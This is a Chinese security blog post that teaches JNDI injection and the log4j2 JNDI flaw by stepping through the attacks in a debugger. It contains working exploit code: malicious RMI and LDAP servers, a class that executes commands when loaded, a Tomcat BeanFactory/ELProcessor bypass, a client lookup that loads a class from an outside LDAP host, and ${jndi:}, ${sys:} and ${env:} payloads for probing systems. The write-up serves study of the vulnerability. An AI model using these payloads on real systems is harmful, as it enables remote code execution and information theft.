本文章首发于先知社区从JNDI注入到log4j漏洞

今天闲的慌,不知道学些什么,于是去NSS上找一下java的题目想着刷点题,于是刷到了一题log4j的题目,一直都能听说这个log4j的核弹级漏洞的威名想着学一下,于是就有了这篇文章

JNDI

首先我们要先了解一下什么是JNDI
JNDI全名(Java Naming and Directory Interface即Java命名和目录接口)

命名服务

命名服务的主要功能是将人们的友好名称映射到对象,例如地址、标识符或计算机程序通常使用的对象。

例如,Internet 域名系统 (DNS) 将计算机名称映射到 IP 地址:

www.example.com ==> 192.0.2.5
文件系统将文件名映射到程序可用于访问文件内容的文件引用。

c:\bin\autoexec.bat ==> File Reference

目录服务

许多命名服务都使用目录服务进行扩展。目录服务将名称与对象相关联,并将此类对象与属性相关联。

目录服务 = 命名服务 + 包含属性的对象

您不仅可以按对象名称查找对象,还可以获取对象的属性或根据对象的属性搜索对象。

例如,电话公司的目录服务。它将订阅者的姓名映射到他的地址和电话号码。计算机的目录服务与电话公司的目录服务非常相似,因为两者都可用于存储电话号码和地址等信息。然而,计算机的目录服务要强大得多,因为它可以在线获得,并且可以用来存储用户、程序甚至计算机本身和其他计算机可以使用的各种信息。

directory 对象表示计算环境中的对象。例如,目录对象可用于表示打印机、人员、计算机或网络。directory 对象包含描述它所表示的对象的属性。

JNDI可以用多种服务对,对象进行命名,挂载。

RMI

JNDI使用RMI的方式与很像

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//Server.java
public class JNDIRMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
InitialContext ic = new InitialContext();
Reference ref = new Reference("EvilObj","EvilObj","http://127.0.0.1:8000");
ic.rebind("rmi://localhost:1099/EvilObj",ref);
/* ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("RCE",wrapper);*/
}
}

//Client.java
import org.omg.CORBA.IRObject;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
public static void main(String[] args) throws NamingException {
InitialContext ic= new InitialContext();
ic.lookup("rmi://localhost:1099/EvilObj");

}
}

//EvilObjv
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class EvilObj extends UnicastRemoteObject implements ObjectFactory {
public EvilObj() throws RemoteException {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var2) {
IOException e = var2;
e.printStackTrace();
}

}

public String sayHello(String name) throws RemoteException {
System.out.println("Hello World!");
return name;
}

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
//恶意类是需要实现ObjectFactory接口的,即恶意工厂

运行上面的代码就会发现JNDI的客户端加载了服务端上的EvilObj

一路调试会发现其最后弹计算机也就是触发命令执行的地方并不在JNDI这个包下而是进入了NamingManager

最后在loadClass里发现forName来加载类,而forName加载的是本地的类,而本地并没有我们的恶意类。我们继续调试

会发现其判断clas是否为空,codebase是否为空。当我们前面forName加载成功时就不会进入反之。
而后继续远程加载类

最后发现其将加载的类进行了实例化,即会运行恶意类中构造方法中的恶意代码

使用如果一个JNDI其lookup内的url可控,那么我们就就可以让其指向我们的恶意rmi服务器从而使其造成命令执行

Ldap

这个漏洞在爆出来后很快就被官方打了补丁。如下

上面的代码定义了一个系统变量trustURLCodebase。默认为false

上面的代码对trustURLCodebase进行了判断,我们可以发现因为起默认为false,这导致我们无法加载远程的url的类

其补丁将rmi进行了检测导致我们无法利用rmi来进行命令执行,但是其没有对Ldap进行过滤,所有我们还可以使用Ldap来进行命令执行
使用如下代码起一个Ldap加载恶意类的服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class Ldap {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilObj"};
int port = 2234;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

上面的java代码可以打包成jar包而后放在vps上运行。
而后Client端与之前RMi的相似
1
2
3
4
5
6
7
8
9
10
11
12
13
14
//import org.omg.CORBA.IRObject;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
public static void main(String[] args) throws NamingException {
InitialContext ic= new InitialContext();
//ic.lookup("rmi://111.230.38.159:1099/EvilObj");
//ic.lookup("rmi://192.168.20.1:1099/EvilObj");
ic.lookup("ldap://111.230.38.159:2234/EvilObj");
}
}


成功弹出计算机

调试了一下,发现最终的运行位置与RMi相同。

更高版本的绕过

像Ldap只能绕过8u191之前的JDK我们这里手动调一下

我们可以发现其在远程加载codebase的lodaClass下也加了一个trustURLCodebase这个参数。而这个参数默认肯定是false,即其不允许我们使用远端的codebase来加载工厂

但是其只尝试了对远程加载进行了限制,那么我们就可以尝试使用其本地的类来尝试进行命令执行。

而这个类是要实现了ObjectFactory。

我们在调试的时候就可以发现,每次在调试时都会调用这个getObjectInstance方法。那么我们可以尝试在哪些实现了ObjectFactory接口的getObjectInstance方法里寻找是否存在可以利用的部分

Tomcat9.62

首先在tomcat9.62及其之前下存在一个类实现了ObjectFactory且我们可以利用其反射来进行命令执行。

在此之前我们要先了解一个命令执行的姿势,利用ELProcessor来进行命令执行。
ELProcessor内存在一个eval方法,其会对命令进行反射调用,我这里写个demo

1
2
3
4
5
6
7
8
import javax.el.*;
public class DEMO {
public static void main(String[] args) {
ELProcessor processor = new ELProcessor();
processor.eval("Runtime.getRuntime().exec(\"calc\")");

}
}


我们在eval下打个断点简单调试一下,会发现其最后利用了反射的方法进行了命令执行

我们把视线重新转到实现了ObjectFactory的可利用类下。

这个可以被利用的类就是tomcat的BeanFactory类

最终其会在BeanFactory下的一个反射类调用触发命令执行,而这些参数都是我们可以控制的,接下来我会通过调试攻击过程的方式来,讲述漏洞的触发过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//Server.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class Server {
public static void main(String[] args) throws Exception {
//System.setProperty("java.rmi.server.hostname", "1.94.186.199");//如果要在服务器上允许需要加上这一条代码。
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);//创建一个ResourceRef对象,其传入的Class为javax.el.ELProcessor,工厂为org.apache.naming.factory.BeanFactory
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));//添加RefAddr对象,前一个参数是键值Type。在BeanFactory类内会被取出值
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));//同上
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Tomcat9.62", referenceWrapper);
System.out.println("Registry运行中......");

}
}
//Client.java
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.spi.ObjectFactory;

public class Client {
public static void main(String[] args) throws NamingException {
InitialContext ic= new InitialContext();
ic.lookup("rmi://192.168.20.1:1099/Tomcat9.62");
}
}

前面实例化工厂的部分与RMI和Ldap的大同小异。

会进入NamingManager下的getObjectInstance来进行实例化

如何得到工厂的类名 再通过forName来加载类

最后实例化得到了工厂

得到工厂后会走到如下代码从而进入BeanFactory的getObjectInstance

其传入的参数ref,就是我们再Server中实例化的ResourceRef类值如下

1
ResourceRef[className=javax.el.ELProcessor,factoryClassLocation=null,factoryClassName=org.apache.naming.factory.BeanFactory,{type=scope,content=},{type=auth,content=},{type=singleton,content=true},{type=forceString,content=faster=eval},{type=faster,content=Runtime.getRuntime().exec("calc")}]


而后其通过ref.getClassName()来获取我们ResourceRef类的内部的resourceClass名,即我们在Server中传入的javax.el.ELProcessor。
而后通过类加载其来得到这个类。命名为beanClass

之后将beanClass实例化为bean。
再获取ref内Type为forceString的内容赋值给ra,而forceString的内容为faster=eval。

而后又创建了一个HashMap,变量名为forced。

然后进入一个循环,将ra的getContent取出传入Value,而后将value的内容faster=eval放入数组arr$内。

后面又将数组内的值取出赋值给param,然后截取=前的所有字符赋值为param,之后的赋值为propName
然后将param作为键放入到之前定义的map forced中,其值为一个反射调用,其调用的,beanClass.getMethod(propName, paramTypes),其放射获取的内容就是ELProcessor下的eval方法。

之后进入一个do while循环。这个循环会获取ref中的Type键的值。直到获取到非规定内容的Type的键值对。即其将ra定义为我们的传入的那个StringRefAddr

最终会将propName赋值为我们定义的Type:faster

最后其再从Map中拿出键为faster的值,也就是我们的eval方法。
而其value获取ra的Content,其值就是我们命令执行的代码。Runtime.getRuntime().exec("calc")
最后放射调用的代码其实就是 eval.invoke(bean,'Runtime.getRuntime().exec("calc")')bean也就是ELProcessor的实例。

这样就可以命令执行了

在tomcat的9.62之后的版本里,其将之前的method.invoke(bean,valueArray)直接进行了删除,这就到导致了我们无法在使用之前的方法进行命令执行

原生反序列化

JNDI注入通过Ldap的方法是可以触发反序列的。

前面我写的Ldap高版本的注入的exp是自己搭建的Ldap服务器,但这样太过于麻烦,于是我尝试再网上找项目,于是我便找到了如下项目。
JNDI-Exploit-Bypass-Demo
使用这个项目需要我们自己进行打包
食用方法

1
2
3
mvn package
java -cp HackerRMIRefServer-all.jar HackerRMIRefServer 0.0.0.0 8088 1099
java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer 0.0.0.0 8088 1389

这个项目内有个Ldap反序列化触发的java文件我们打打包前要对其进行修改

将其反序列化的payload进行更改,我这里改成了CC1的链

可以看到服务器也显示了请求记录
我们调试一下客户端。

前半部分都相同,而后面其检测了传入值attrs的JAVA_ATTRIBUTES[SERIALIZED_DATA]属性。

而这个JAVA_ATTRIBUTES[SERIALIZED_DATA]得到的就是字符串javaSerializedData

而后会进入deserialzeObject方法

这就是标准的反序列化了。
这样就触发反序列化漏洞。

log4j2

JNDI的成因

在log4j2的2.0-beta9 到 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)版本内存在着JNDI注入的CVE-2021-44228

改漏洞的利用方式很简单。

1
2
3
4
5
6
7
8
9
10
11
12
package log4j;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String username = "${jndi:ldap://111.xxx.xxx.159:389/EvilObj}";
logger.error("hello {}",username);
}
}


起一个JNDI服务器然后运行上面的脚本就会发现成功命令执行

log4j2的漏洞主要出现在 org.apache.logging.log4j.core.lookup.StrSubstitutor类上。

这个类会先堆${进行匹配

然后再匹配尾部}
以此来提取内部的值

然后会进入resolveVariable来触发Interpolator的lookup

lookup方法会匹配: 即提取出前面的JNDI。
通过strLookupMap来提取出:前关键词的类。赋值给lookup,然后通过lookup.lookup来调用起地下的lookup
我们寻找这个strLookupMap可以发现如下。

JNDI关键词指向的类就是org.apache.logging.log4j.core.lookup.JndiLookup
所以lookup.lookup会指向JndiLookup.lookup

JndiLookup.lookup下会通过jndiManager.lookup来进行JNDI的加载。
所以这个log4j可以通过${jndi:ldap://xxxx}
就可以进行jndi注入

拓展

在这里我们可以看到map还有指向其他的类。如sys
我们打开其指向的类

我们可以看看到其直接返回了System.getProperty这样我们就可以进行信息探测。如输入的key为java.class.path就可以得到其加载的所有依赖的版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package log4j;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {

String username = "${sys:java.class.path}";
logger.error("hello {}",username);
}
}

----------------------------------
10:39:41.693 [main] ERROR log4j.Log4j - hello C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\charsets.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\access-bridge-64.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\cldrdata.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\dnsns.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\jaccess.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\localedata.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\nashorn.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\sunec.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\sunjce_provider.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\sunmscapi.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\sunpkcs11.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\zipfs.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\jce.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\jfr.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\jsse.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\management-agent.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\resources.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\rt.jar;C:\Users\24882\Desktop\java-sec\cc\target\classes;C:\Users\24882\.m2\repository\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar;C:\Users\24882\.m2\repository\org\apache\logging\log4j\log4j-api\2.14.1\log4j-api-2.14.1.jar;C:\Users\24882\.m2\repository\commons-collections\commons-collections\3.2.1\commons-collections-3.2.1.jar;C:\Users\24882\.m2\repository\org\apache\commons\commons-collections4\4.0\commons-collections4-4.0.jar;C:\Program Files\JetBrains\IntelliJ IDEA 2024.1.1\lib\idea_rt.jar

sys的参数

1. Java 运行环境属性

属性名 描述
java.version Java 运行时环境版本
java.vendor Java 提供商名称
java.vendor.url Java 提供商的 URL
java.vendor.url.bug Java 提供商的错误报告页面(Java 9+)
java.home Java 安装目录
java.class.version Java 类文件格式版本号
java.class.path Java 类路径
java.library.path 加载库时搜索的路径
java.compiler JIT 编译器的名称(通常为空)
java.ext.dirs Java 扩展目录

2. JVM 和运行时相关属性

属性名 描述
java.vm.name Java 虚拟机名称
java.vm.vendor Java 虚拟机提供商
java.vm.version Java 虚拟机版本
java.vm.info Java 虚拟机实现版本和构建信息
java.vm.specification.name Java 虚拟机规范名称
java.vm.specification.vendor Java 虚拟机规范提供商
java.vm.specification.version Java 虚拟机规范版本

3. 操作系统相关属性

属性名 描述
os.name 操作系统名称
os.arch 操作系统架构(如 x86, amd64)
os.version 操作系统版本
file.separator 文件分隔符(Linux 是 /,Windows 是 \)
path.separator 路径分隔符(Linux 是 :,Windows 是 ;)
line.separator 行分隔符(Linux 是 \n,Windows 是 \r\n)

4. 用户相关属性

属性名 描述
user.name 当前用户的用户名
user.home 当前用户的主目录
user.dir 当前工作目录
user.language 用户的默认语言
user.country 用户的默认国家
user.timezone 用户的默认时区

5. 国际化相关属性

属性名 描述
file.encoding 文件编码
sun.jnu.encoding Java 编译器使用的文件编码
sun.cpu.isalist 当前系统支持的 CPU 指令集
sun.desktop 桌面环境名称(如 windows、gnome)

6. 特殊属性(供应商扩展)

属性名 描述
sun.arch.data.model JVM 数据模型(32 位或 64 位)
sun.boot.library.path JVM 引导库的路径
java.specification.name Java 运行环境规范的名称
java.specification.vendor Java 运行环境规范的提供商
java.specification.version Java 运行环境规范的版本

env

env也可以进行环境变量的读取登

env参数

环境变量名 说明 示例值
PATH 可执行文件的搜索路径 /usr/bin:/bin:/usr/local/bin
HOME 当前用户的主目录 /home/user 或 C:\Users\User
USER 当前登录的用户名 root 或 john_doe
SHELL 当前使用的 shell 程序 /bin/bash 或 /bin/zsh
JAVA_HOME Java 安装路径 /usr/lib/jvm/java-17-openjdk
CLASSPATH Java 类路径 .:/lib:/usr/lib
TEMP / TMP 临时文件存储目录 /tmp 或 C:\Windows\Temp
OS 操作系统名称(Windows 特有) Windows_NT
COMPUTERNAME 当前计算机名(Windows 特有) MY-PC
USERNAME 当前用户的用户名(Windows 特有,与 USER 类似) Administrator
PWD 当前工作目录(Linux/macOS) /home/user/project
LOGNAME 当前用户的登录名(Linux/macOS) john_doe
EDITOR 默认的文本编辑器 vim 或 nano 或 notepad
LANG 系统的语言和地区设置 en_US.UTF-8 或 zh_CN.UTF-8
LC_ALL 覆盖其他语言和地区设置 en_US.UTF-8
HOSTNAME 当前主机名(Linux/macOS) my-host
DISPLAY 图形显示设备(X11 图形系统) :0
XDG_SESSION_TYPE 当前会话类型(Linux 桌面环境) x11 或 wayland
XDG_CURRENT_DESKTOP 当前桌面环境名称 GNOME 或 KDE
MAIL 当前用户的邮箱目录路径 /var/mail/user
SSH_CLIENT 当前 SSH 客户端连接信息 192.168.1.10 22 192.168.1.2
SSH_CONNECTION 当前 SSH 连接详细信息 192.168.1.10 22 192.168.1.2 5678
SSH_TTY 当前 SSH 会话使用的伪终端路径 /dev/pts/0
TERM 当前终端类型 xterm-256color 或 screen
UID 当前用户的用户 ID(Linux/macOS) 1000 或 0(表示 root 用户)
GID 当前用户的组 ID 1000
OLDPWD 上一个工作目录(Linux/macOS) /home/user/previous_project
http_proxy HTTP 代理服务器地址 http://proxy.example.com:8080
https_proxy HTTPS 代理服务器地址 https://proxy.example.com:8080
NO_PROXY 不使用代理的地址 localhost,127.0.0.1
APPDATA 应用数据目录路径(Windows 特有) C:\Users\User\AppData\Roaming
PROGRAMFILES 默认安装程序的目录(Windows 特有) C:\Program Files
WINDIR Windows 系统目录路径(Windows 特有) C:\Windows

而这个log4j的漏洞在2.15之后就已经修复了,2.15版本将lookup给禁了,经过在本地尝试像sys,env这种获取敏感信息的方式也无法使用了